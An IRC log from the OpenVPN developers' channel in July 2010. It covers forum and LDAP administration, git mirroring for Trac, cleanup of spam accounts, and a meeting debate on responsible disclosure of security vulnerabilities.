mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:21 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 18:36 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 264 seconds] 22:20 -!- Knio [~Knio@174.0.88.23] has quit [Ping timeout: 264 seconds] 22:37 -!- HanX [~HanX@ks368275.kimsufi.com] has quit [Ping timeout: 276 seconds] 22:37 -!- chantra [~chantra@unaffiliated/chantra] has quit [Ping timeout: 260 seconds] 22:52 -!- yam [yam@castor.xenbox.fr] has quit [Ping timeout: 260 seconds] 23:01 -!- HanX [~HanX@ks368275.kimsufi.com] has joined #openvpn-devel 23:03 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 23:08 -!- chantra [~chantra@unaffiliated/chantra] has quit [Ping timeout: 252 seconds] 23:08 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 23:24 -!- Guest12047 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 23:25 -!- openvpn2009 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 252 seconds] 23:53 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel --- Day changed Mon Jul 12 2010 00:01 -!- chantra [~chantra@unaffiliated/chantra] has quit [Read error: Operation timed out] 00:01 -!- HanX [~HanX@ks368275.kimsufi.com] has quit [Ping timeout: 276 seconds] 00:03 -!- yam [yam@castor.xenbox.fr] has quit [Ping timeout: 248 seconds] 00:19 -!- HanX [~HanX@ks368275.kimsufi.com] has joined #openvpn-devel 00:29 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 00:47 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 01:06 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel 01:24 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 02:54 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 03:27 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:07 -!- dazo_afk is now known as dazo 06:16 <@dazo> waldner: great news! 06:18 <@dazo> mattock: waldner made me think about something ... has there been any progress on the testing effort lately, after we discussed Beaker? 06:30 < waldner> that's what I wanted to say 06:30 < waldner> what I did is exactly the kind of things that should be automated 06:36 <@dazo> yeah, that could very well be scripted ... and would typically fit well as part of a Tier1 test 06:38 < ecrist> good morning. 06:38 <@mattock> ecrist: good morning 06:39 < waldner> good morning 06:39 < waldner> I read something about cucumber and behavior-driven tests lately 06:41 < ecrist> mattock, it is my recommendation to allow anonymous binds to the ldap server, and allow reads by self for auth 06:41 <@mattock> yeah, that might be easiest... 06:42 <@mattock> I'll have to play with the access control directives a bit 06:42 < ecrist> tbh, I don't know why you'd require auth binds to query for auth, especially since the ldap server itself is hidden behind a vpn 06:42 <@mattock> I'll try enabling anonymous bind and see what happens 06:43 <@mattock> that might solve the phpbb login issue, too 06:43 <@mattock> even for admins, that is 06:43 < ecrist> do you need me to edit the db to get logins to use the db again, or can you do that? 06:56 <@mattock> well, if you know how to do it then please go ahead... if not, I'll figure it out 07:15 < ecrist> well, it should be using the db from what I can determine now, but it still doesn't log me in. 07:16 < ecrist> it would seem someone added some functionality to the forum software and didn't document it. 07:17 < ecrist> otherwise, I'd revert the db back one from backups 07:17 * ecrist tries it anyhow. 07:20 < ecrist> hrm, I've reverted the db, it must be something else. 07:21 < ecrist> looks like you really hosed something 07:21 < ecrist> or someone did 07:21 < ecrist> who added the smartfeed stuff? 07:22 < ecrist> hrm, I think I figured it out 07:22 * ecrist restores other db 07:23 <@mattock> smartfeed? 07:23 <@mattock> no me 07:24 < ecrist> ok, I got it working 07:25 < ecrist> turns out phpbb has a config cache 07:25 < ecrist> update phpbb_config set config_value='db' where config_name='auth_method'; 07:26 < ecrist> and then delete /usr/local/www/forums/cache/data_global.php or update it to match your update above 07:26 <@mattock> oh yes, that file... I stumbled upon it when debugging this 07:29 <@mattock> how did you access the database? mysql has nologin as shell so "su - mysql" + "mysql -h localhost -u blabla -p" did not work 07:33 < ecrist> you use the mysql command 07:33 < ecrist> mysql -u root ovpn_forum 07:33 <@mattock> argh... silly me 07:34 <@mattock> ok, now it's just SQL, I can handle it 07:34 <@mattock> thanks! 07:34 <@mattock> I'll test anonymous bind now 07:35 <@mattock> dazo: are you there? 07:35 <@dazo> mattock: I'm here :) 07:35 <@mattock> ok, will this setup update the Git repo on community.openvpn.net correctly: 07:36 <@mattock> root@community:/var/lib/repos/openvpn-testing# git branch -l 07:36 <@mattock> * allmerged 07:36 <@mattock> master 07:36 <@mattock> root@community:/var/lib/repos/openvpn-testing# cat /etc/cron.hourly/git-pull-openvpn-testing 07:36 <@mattock> #!/bin/sh 07:36 <@mattock> cd /var/lib/repos/openvpn-testing 07:36 <@mattock> /usr/bin/git pull --rebase origin 07:37 <@mattock> I've done the "git checkout -b allmerged origin/allmerged already on that repo 07:37 <@dazo> mattock: I believe that should work indeed 07:37 <@mattock> great! 07:37 <@mattock> then our Trac should get the git updates on a hourly basis now 07:38 <@dazo> cool! 07:39 <@dazo> well, you can probably move it to once a day ... Its not that frequent updates to the git tree right now ... not too much happening .... so daily snapshots should suffice for now 07:40 <@mattock> ok, I'll move it to cron.daily... I'll also redirect Trac's git plugin URL's (https://community.openvpn.net/openvpn/browser) to SF.net Git browser. 07:40 <@mattock> unless it breaks viewing of commits, that is 07:42 <@dazo> sounds good! 07:43 <@mattock> any clues where I could find a git commit ID that links to Trac's git browser? e.g. a wiki page or a ticket? 07:43 <@dazo> https://community.openvpn.net/openvpn/ticket/13 07:44 < vpnHelper> Title: #13 (Not using --push on server makes client sending PUSH_REQUEST continuously) – OpenVPN (at community.openvpn.net) 07:45 <@mattock> thanks! seems to use /changeset/commitid, not /browser/something... so redirecting /browser -> SF.net should be safe 07:47 <@dazo> yeah, I think so 07:47 <@dazo> anyhow ... it seems it is the diff parsing which seems to take time ... small commits are really quick! While big commits (like merge commits) takes time 08:01 <@mattock> ok, /openvpn/browser/* URL's are now redirected to SF.net in a very ugly fashion... let me know if /changeset or /log URL's point to /browser and I'll fix this in a prettier fashion 08:25 <@dazo> mattock: hmm ... didn't seem to work too well .... I believe the destination URL should be: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=blob;f=${FILENAME};hb=HEAD 08:26 <@mattock> destination from where? 08:27 <@mattock> I mean, how do I reproduce this :) 08:29 * dazo double checking ... he noticed some more args in the /openvpn/browser URL 08:30 <@dazo> hmm 08:30 <@dazo> the thing is ... 08:31 <@dazo> https://community.openvpn.net/openvpn/browser/push.c?rev=cb56a3ebe65871ae37894503e35c0b3703ee17a5 08:31 <@dazo> is forwarded to: 08:31 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary/push.c 08:31 <@dazo> which don't give a good result (400 - Invalid action parameter) 08:32 <@mattock> are there automatically created links to /browser/something URL's in Trac? 08:32 <@mattock> if so, then something fancier is needed 08:32 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=blob;f=push.c;hb=cb56a3ebe65871ae37894503e35c0b3703ee17a5 08:32 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/blob - push.c (at openvpn.git.sourceforge.net) 08:33 <@dazo> that's the URL it should be 08:33 <@dazo> so ... you need some fancier regexp in mod_rewrite (which I presume you're using) 08:33 <@dazo> which splits out filename and the revision argument 08:34 <@mattock> no, I'm using mod_alias... perhaps it's best to keep the /browser enabled for now and fix this "properly" with mod_rewrite later on 08:34 <@dazo> and puts it as: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=blob;f=${FILENAME};hb=${REV} 08:34 <@dazo> ahh ... that might explain 08:35 <@mattock> -> my todo list 08:36 <@dazo> goodie :) 08:36 <@mattock> ...maybe I'll also check out the gitweb support for Trac. 08:36 <@dazo> or check out cgit ... I've mentioned it several times ... it's written in C, afair ... and seems to be lightning fast 08:36 <@dazo> http://hjemli.net/git/cgit/ 08:37 < ecrist> git seems like a pain in the ass 08:40 <@dazo> heh 08:40 * dazo don't bite on that flame attempt now 08:41 <@mattock> I was also wondering if we could do a git allmerged -> svn repo trickery on community.openvpn.net 08:41 <@mattock> without losing too much information 08:41 <@mattock> that would solve all browsing performance problems 08:41 <@mattock> not sure what would happen with commitid's, though 08:42 <@mattock> if we need to use an external git viewer, we could just use SF.net git viewer, right? 08:42 <@dazo> commit ids would be rewritten ... and you would need some revision ref <-> commitish parsing anyway, as the svn plug-in don't understand commitish, but nummeric svn revisions only 08:43 <@mattock> yep, that's what I though 08:43 <@mattock> t 08:43 <@dazo> mattock: yeah, it just depends on if you want some themes on the way it looks ... with sf.net, you're not able to tweak it at all, afaik 08:43 <@mattock> yep, that's true 08:44 <@mattock> let's keep that option in mind, cgit looks nice (and really fast) 08:46 <@dazo> could actually even be that we could rewrite cgit to take the trac URLs directly ... implementing a Trac compat mode might be interesting for cgit and would be useful for the Trac git plug-in as well 08:46 <@mattock> ok, now I got to do something easy to maintain my false sense of proficiency ;) ... and return to the annoying OpenLDAP ACL's & phpbb LDAP auth issues on Wednesday :) 08:47 <@mattock> I think there are plans to rewrite git-plugin for newer versions of Trac 08:47 <@mattock> hopefully improving performance in the process 08:53 <@dazo> :) 09:49 <@dazo> mattock: just poked at the cgit code ... (I am just too curious some times) ... it /seems/ trivial to write a Trac URL compat mode into it ... in fact, it looks like it's enough to just add some code which rewrites Trac URL's before the real cgit parsing happens internally ... we just need an overview over all the different URL scheme trac uses, the rest seems to be trivial 10:04 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 10:47 <@mattock> dazo: ok, I'm open to that option... as long as it does not take weeks on my part :) 10:48 <@dazo> mattock: I'll see if I can clear some time to hack on that ... if you can help figuring out all the misc URLs Trac uses for git 11:42 -!- dazo is now known as dazo_afk 12:13 -!- HanX [~HanX@ks368275.kimsufi.com] has quit [Ping timeout: 240 seconds] 12:21 -!- HanX [~HanX@ks368275.kimsufi.com] has joined #openvpn-devel 12:22 <@mattock> dazo: no probs, I can help with that 12:39 -!- Guest12047 is now known as openvpn2009 12:39 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 15:34 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 15:57 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 17:07 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 260 seconds] 17:22 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 17:42 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 19:13 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Tue Jul 13 2010 02:22 <@cron2> krzee: have you seen my latest edition of the OpenBSD configure patch on the mailing list? 02:43 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:43 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:22 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:21 -!- dazo_afk is now known as dazo 05:32 -!- ScriptFanix [vincent@2001:910:100b::1] has quit [Read error: Connection reset by peer] 05:44 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn-devel 06:56 < ecrist> mbuf corruption vulnerability in FreeBSD 7.x and later: http://security.FreeBSD.org/advisories/FreeBSD-SA-10:07.mbuf.asc 06:58 <@cron2> bah 06:59 <@cron2> (interesting, it's in 7.1 and 7.3, but not in 7.2...) 07:25 * ecrist starts compiling new kernels and other such fun 09:59 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 11:29 < krzee> nope havnt seen it 11:30 < krzee> cause my vpn server / webserver is down =[ 11:30 < krzee> DC says they gave it a reboot, and it should be up... but its not... waiting for them to go with a crash cart 11:30 < krzee> damn i hope its not the HD 11:31 < krzee> oh and if im in prison soon for murder, its because of the other tech here dragging his feet throughout this whole migration 11:31 < krzee> dont send bail 11:31 < krzee> ;] 11:41 <@dazo> heh 11:54 < krzee> actually the funny thing here in this 3rd world country... with my contacts... i could kill someone and get in no trouble... but if i get caught with a joint nobody could help me 11:54 < krzee> strange priorities over here 12:05 <@dazo> wow ... that is a bit odd 12:06 < krzee> ya man 12:06 < krzee> would be much cooler the other way around... i end up wanting to smoke weed way more than kill people 12:06 < krzee> in fact smoking weed makes you want to cause less violence in general 12:07 < krzee> speaking of violence, im competing in a grappling tournament in 2 months... my jui jitsu school is inviting the local judo / aikido schools! 12:09 < krzee> i used to be a wrestler, so my jui jitsu teacher has me teaching takedowns and throws to the class 12:10 < krzee> i cant wait to cause pain to all who come against me! :) 13:15 * dazo reconsiders travelling to the Caribbean which krzee talked so warmly about a few weeks ago ...... 13:21 -!- dazo is now known as dazo_afk 13:36 < krzee> haha 13:36 < krzee> you forgot im connected here 13:36 < krzee> unless you need to smoke weed and stuff, you have no worries out here --- Log opened Tue Jul 13 19:52:09 2010 19:52 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 19:52 -!- Irssi: #openvpn-devel: Total of 15 nicks [4 ops, 0 halfops, 0 voices, 11 normal] 19:52 -!- Irssi: Join to #openvpn-devel was synced in 37 secs --- Log closed Tue Jul 13 19:52:51 2010 --- Log opened Tue Jul 13 19:53:03 2010 19:53 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 19:53 -!- Irssi: #openvpn-devel: Total of 15 nicks [4 ops, 0 halfops, 0 voices, 11 normal] 19:53 -!- Irssi: Join to #openvpn-devel was synced in 36 secs --- Day changed Wed Jul 14 2010 00:57 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:11 <@mattock> dazo: now that cgit understands Trac git-plugin URL's, what next? 02:28 <@mattock> I'm doing some LDAP tweaking, so Trac auth might not work at times. 02:28 <@mattock> =for short periods of time 02:56 -!- dazo_afk is now known as dazo 02:56 <@dazo> Good morning :) 02:58 <@dazo> mattock: next steps ... compile and install cgit and configure Apache alias or mod_rewrite rule for those trac-git URLs which accesses the git browsing 02:58 <@mattock> ok, should not be too difficult 02:58 <@dazo> I hope not :) 02:58 <@mattock> mod_rewrite is a better bet 02:59 <@mattock> mod_alias is pretty limited, although it does support regexp 03:00 <@dazo> Maybe ... mod_alias might do the job ... as you really don't need to rewrite the URL's ... kind of just make it point to the cgi-bin file instead, with complete /openvpn/browser/blablabla ... and it should work ... just need to be sure the basic cgit works first 03:01 <@mattock> ok, I'll see what I can do 03:01 <@dazo> The URLs I've spotted are /openvpn/browser ... /openvpn/changeset and /openvpn/log 03:01 <@mattock> yep, I don't think there are any other URL's 03:02 <@dazo> if not, then all features are covered :) 03:02 <@mattock> we'll see how that frankensteinian configuration turns out :) 03:02 <@mattock> would this classify as a hack, btw? 03:02 <@mattock> ;) 03:02 * dazo regrets saying that .... that's just soooo last famous words .... 03:03 <@dazo> Yeah, it's hackerish .... but I tried to do it as clean as possible 03:03 <@dazo> If it turns out to work well for us ... I'm sending the patch upstream ... and I'm curious about the response :-P 03:32 <@cron2> nothing bad about a good hack :) 03:34 <@mattock> at least not until you start piling hacks on top of each other and the result becomes a terrible mess ;) 03:47 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:41 <@mattock> after cleaning up the ACL rules it seems phpbb LDAP auth issues have something to do with password hashing... OpenLDAP still gives invalidCredentials (49) error. So the issue was not with lack of anonymous bind, after all 04:46 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 04:53 <@mattock> yeah, it was a password hashing issue 04:53 <@mattock> time for a well-earned lunch break :) 05:14 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:15 <@cron2> mape2k: ayt, or is this just your browser reconnecting? 05:51 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] 07:30 < ecrist> mattock: I just need to know what format you want, and what personal information you need, from the database for forum users 07:37 <@mattock> ecrist: currently the following information is stored in LDAP: 07:37 <@mattock> username, first name, last name, email address, password 07:37 <@mattock> nothing else 07:38 <@mattock> what format options do I have? 07:38 <@mattock> export formats I mean 07:38 < ecrist> I'm just going to use comma-separated list 07:38 <@mattock> ok, CSV is fine 07:38 < ecrist> it'll have username and email, that is all 07:38 <@mattock> easy to parse 07:39 <@mattock> ok, sounds good 07:40 <@mattock> a couple of things we need to do: 07:40 <@mattock> • disable phpbb's built-in registration 07:40 <@mattock> • point "Register" link to https://community.openvpn.net/register 07:40 < vpnHelper> Title: OpenVPN user account management service (at community.openvpn.net) 07:40 <@mattock> I guess that'd doable with Apache 07:40 * ecrist points to the guys doing the skinning 07:41 <@mattock> yep, that's an option 07:45 < ecrist> is tab-separated ok, or do you need csv? 07:45 < ecrist> I thought mysql would do csv. I can convert if you need. 07:46 < ecrist> fwiw, there's only 64 users 07:46 <@mattock> tab-separated is ok 07:46 < ecrist> I'm not including users with < 1 post 07:46 <@mattock> ok, that's probably ok 07:46 <@mattock> can you weed out spammers? 07:46 <@mattock> I mean those who have tried to spam 07:47 < ecrist> all posts on the forum have been moderated 07:47 < ecrist> if you have a post count > 1, you're not a spammer 07:48 < ecrist> the user list is in /home/ecrist/ovpn.txt on forums. 07:48 <@mattock> ok 07:48 <@mattock> thanks! 07:48 <@mattock> I'll get to work on Friday, not enough time today 07:49 < ecrist> mattock: there are 7,658 users on the ovpnforum server 07:49 < ecrist> 64 have posts 07:49 <@mattock> hmm... strange 07:49 < ecrist> I'd say that's pretty well weeded out 07:50 <@mattock> yep :) 07:50 <@mattock> does registration use CATPCHAs? 07:50 < ecrist> I don't recall, you registered recently, you tell me 07:50 <@mattock> hmm... can't remember :) 07:51 <@mattock> at least the official phpbb support forum used a captcha 07:51 < ecrist> yes, we're using a captcha 07:56 <@mattock> perhaps we should add some "automatic weeder"... e.g. remove user accounts with zero posts after 60 days 07:56 <@mattock> unless that breaks the database somehow 08:00 < ecrist> I have a script sort of like that 08:00 * ecrist finds it 08:01 < ecrist> cant find it 08:02 < ecrist> it's just a simple delete, though 08:03 < ecrist> ah, here it is: 08:04 < ecrist> delete from db where user_posts=0 and from_unixtime(user_regdate) < now() - interval '30 days'; 08:05 < ecrist> I was going to add a user_lastvisit filter, as well 08:13 <@dazo> just an opinion: user_lastvisit filtering should be proportional to the amount of posts the user have contributed with in the past and how long the user has been a member 08:18 * ecrist deletes 3843 users from current forum 08:18 <@cron2> mattock: could you please put trac#17 on tomorrow's agenda? I think this is fixed, and want to seen an ACK and inclusion in bugfix-2.1 08:18 < ecrist> dazo, if the user has more than 0 posts, they're not in the delete queu 08:19 < ecrist> queue 08:19 < ecrist> or, if they've ever simply visited the forum after they registered, they're out of the delete queue 08:20 <@mattock> cron2: will do 08:20 < ecrist> delete from phpbb_users where user_posts=0 and from_unixtime(user_regdate) < now() - interval 30 day and user_lastvisit = 0; 08:20 <@cron2> mattock: thanks. (most recent patch has been sent to the list, and just appended to the trac ticket) 08:24 <@mattock> cron2: so do you want an ACK for the patch? 08:25 <@cron2> mattock: yes - "someone else needs to test this, send an ACK, and dazo can integrate it" 08:26 <@mattock> ok, it's now here: https://community.openvpn.net/openvpn/wiki/Topics-2010-07-15 08:26 < vpnHelper> Title: Topics-2010-07-15 – OpenVPN (at community.openvpn.net) 08:26 <@cron2> thanks 08:29 <@mattock> I added dazo's release cycle length discussion there, too 08:44 <@dazo> ecrist: okay, I thought you meant with user_lastvisit that you would also delete users which have had some posting as well ... to take out inactive users, regardless of user_posts 08:45 < ecrist> oh, no 08:45 <@dazo> mattock: I've done some stuff with the trac tickets ... added some milestones to stuff I feel should be in beta2.2 before we're going public 08:47 <@dazo> mattock: I posted one patch yesterday ... and will hopefully have --auto-proxy for non-Windows ready before next week ... 08:48 <@dazo> mattock: but I would suggest to do a little modification to the meeting minutes ... that we have a "tasklist" somewhere ... which lists what different people say in the meeting they will do, so that we can more easily remember those things ... and a quick update on these things the following meetings, until it's done 08:48 * dazo believes he has promised a few things which he has not completed - but can't remember what 08:50 <@cron2> +^1 08:50 <@cron2> (or something like that) 09:31 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 09:32 <@mattock> dazo: agreed, currently it's not easy to trace what people have promised / intended to do 09:33 <@mattock> I now have a personal TODO-list, so I won't forget what I meant to do, but a public one is nicer 09:33 <@mattock> puts some positive pressure on people :) 09:38 <@dazo> mattock: exactly ... and I can be horrendous at forgetting things some times :) --- Log opened Wed Jul 14 11:10:42 2010 11:10 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 11:10 -!- Irssi: #openvpn-devel: Total of 15 nicks [5 ops, 0 halfops, 0 voices, 10 normal] 11:11 -!- Irssi: Join to #openvpn-devel was synced in 40 secs 11:28 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 12:53 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:57 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 13:06 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 13:18 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 13:44 -!- dazo is now known as dazo_afk 17:57 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 18:05 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 18:50 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 20:43 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 20:47 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 20:48 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 20:51 -!- krzee [nobody@unaffiliated/krzee] has quit [Excess Flood] 20:52 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 22:22 -!- krzee [nobody@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] 23:27 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 23:45 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] --- Day changed Thu Jul 15 2010 01:06 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 01:18 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 02:05 -!- dazo_afk is now known as dazo 02:20 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:12 -!- Netsplit *.net <-> *.split quits: berniv6, agi, yam 04:18 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 04:18 -!- yam [yam@castor.xenbox.fr] has joined #openvpn-devel 04:18 -!- berniv6 [~berni@fliwatuet.birkenwald.de] has joined #openvpn-devel 04:55 -!- dazo is now known as dazo_afk 05:32 -!- dazo_afk is now known as dazo 09:57 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 10:14 -!- Netsplit *.net <-> *.split quits: @raidz 10:14 -!- Netsplit over, joins: raidz 11:31 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 12:24 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:35 -!- dazo is now known as dazo_afk 12:55 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Remote host closed the connection] 12:57 -!- dazo_afk is now known as dazo 12:59 <@mattock> almost meeting time... 13:00 <@dazo> yupp :) 13:00 * dazo gets ready .... digs up some food if he finds something 13:00 <@mattock> I'll mail james now 13:00 <@mattock> :) 13:01 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 13:01 * cron2 is very peaceful today - too much good food already *burbs* 13:02 <@mattock> mail sent 13:02 < ecrist> krzee: your boxes are updated 13:03 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:04 < jamesyonan> hi 13:04 <@cron2> hi 13:04 < krzee> ecrist, you're the man, thank you 13:04 <@mattock> hi james! 13:04 <@mattock> let's start the meeting! 13:04 < krzee> i wont have time to even look at servers for a bit, migration craziness 13:05 < krzee> (also wont be in the meeting, later guys!) 13:05 <@mattock> krzee: later 13:05 <@mattock> ok, so what about this: "How do we tackle security issues? (f.ex. CVE's) How are they announced?" 13:05 <@mattock> full topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2010-07-15 13:05 < vpnHelper> Title: Topics-2010-07-15 – OpenVPN (at community.openvpn.net) 13:06 <@mattock> dazo: is the CVE topic from you? 13:07 <@dazo> A guy on #openvpn wondered about how we announce security issues and fixes 13:07 <@mattock> dazo: ok 13:07 <@mattock> jamesyonan: do we (=company) have a policy for CVE's? 13:07 < jamesyonan> in the past, security issues that have been found are communicated to me confidentially 13:08 <@dazo> and I can't say I remember having seen much of such announcement, especially of fixes ... I've seen one CVE, which was tackled in 2.1_rc9 13:08 < jamesyonan> the security issue is then publicly announced at the same time a fix is released 13:08 <@dazo> Yeah, that's the normal procedure 13:08 <@dazo> Maybe it would make sense to have a "inner circle" of some people who will receive such issues? 13:08 < ecrist> personally, I think hiding vulnerabilities like that is not the right way to go about it 13:09 <@mattock> at least if hiding leads to postponing the fixing 13:09 <@dazo> It's not about hiding it, it will become visible ... but we need some time to get it fixed, so we don't put our users at risk immediately 13:09 < ecrist> or, when hiding leads to admins not knowing, especially when there are things that can be done to mitigate a vulnerability outside a code patch 13:09 <@dazo> when the vulnerability is known, the attack vector is much more like 13:09 <@dazo> likely 13:10 < ecrist> if it's a problem, they're already vulnerable 13:10 <@mattock> ecrist: good point 13:10 <@cron2> that's the old debate about reasonable disclosure 13:10 < ecrist> instead, the only people that know about it are a few coders, and potential hackers. 13:10 < ecrist> cron2: exactly 13:10 <@dazo> yeah, but if it's not publicly known, attackers might not begin to look for vulnerable openvpn server as easily 13:10 < ecrist> I'm just stating my stance on the subject 13:10 <@cron2> I'm all for disclosure, but at the same time, giving the developers "reasonable amount of time" to fix & rollout 13:10 <@dazo> cron2: +1 13:11 < ecrist> -1 13:11 < jamesyonan> I think this is a generally agreed on practice -- there's no perfect solution but the least-worst solution seems to be to delay the public disclosure by a reasonable amount of time so a fix can be developed 13:11 <@dazo> full disclosure, but give a little reasonable time to get a fix out before it's announced ... usually such announcements are coordinated with MITRE or similar institutions too 13:11 <@mattock> also, this depends on who has found the issue... and if it's already in the wild being exploited 13:12 <@mattock> e.g. if a security researcher finds it, it may or may not be in the wild 13:12 -!- krzee [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 13:12 <@dazo> in such cases, CVE's are usually published immediately ... but CVE's which are not in the wild, are kept with a low profile until an agreed date 13:13 <@dazo> but I agree with jamesyonan, this is usually the common practice, also within F/OSS 13:15 <@mattock> what do we consider reasonable amount of time for a fix? 13:15 <@mattock> probably not 12 months like Apple and Microsoft? :) 13:15 < ecrist> whenever the developers feel they want to, more than likely 13:15 <@dazo> difficult to say, depends on the vulnerability ... < 4weeks, I would say 13:16 < ecrist> if you're going to adopt that policy, I think it's a fair trade off to stick to a max lifetime, say, 3 weeks. if it's not patched at 3 weeks, announce the vuln and allow the community to review 13:16 <@dazo> 4 weeks gives time to investigate, fix and test the fix without being way too stressed, but still having pressure 13:17 < ecrist> a month is a long time 13:17 < ecrist> I think 3 weeks it too long, tbh 13:18 <@dazo> I'm not sure what's the common everywhere practice .... but some places I know it's up to 6-8 weeks ... but in those cases, it's been coordinating with other vendors as well 13:18 < jamesyonan> historically, most OpenVPN security issues have been fixed within days 13:19 < ecrist> if that's the case, put a 2 week lifetime on it 13:20 <@dazo> I think ecrist got a good point, though ... fix internally within 3 weeks ... and if not, the -devel list must be involved somehow ... but not like announcing a vulnerability which we must fix 13:20 <@mattock> there's also the delay before upstream fixes reach distributors (e.g. software repos) 13:21 <@dazo> true 13:21 < ecrist> mattock: I think that's where the -devel comes in 13:21 < ecrist> and, really, it's up to them 13:21 <@mattock> yep 13:21 < ecrist> so, ideally, upon notice, reveal to security@ (include repo owners) and patch/release 13:22 < ecrist> if it's not patched in time, release to -devel 13:22 <@dazo> when we have a fix and have published it, then yes - it's their "problem" .... but until a fix is ready, it's actually our main responsibility 13:22 <@dazo> ecrist: +1 13:23 < ecrist> if it's patched in a couple days, staying inside that timeout is possible, even with rerolling packages 13:23 <@mattock> I agree that repo owners should be notified of any security issues... so that they can prepare for repackaging 13:23 < ecrist> but the timeout can still be a drop0dead 13:24 < ecrist> I think non-devs (such as myself) should be members of such a list, however, to keep things honest. 13:24 < ecrist> and disclosed. 13:24 <@mattock> jamesyonan: could we have a closed mailinglist or something for security issues? 13:24 <@mattock> with a few key members from the community 13:24 < jamesyonan> yes, I agree that makes sense 13:25 <@mattock> any ideas how to implement the list? 13:26 <@dazo> a mail alias with the allowed people on @openvpn.net ? 13:26 < ecrist> just need to create a closed list on sf, where the other lists are 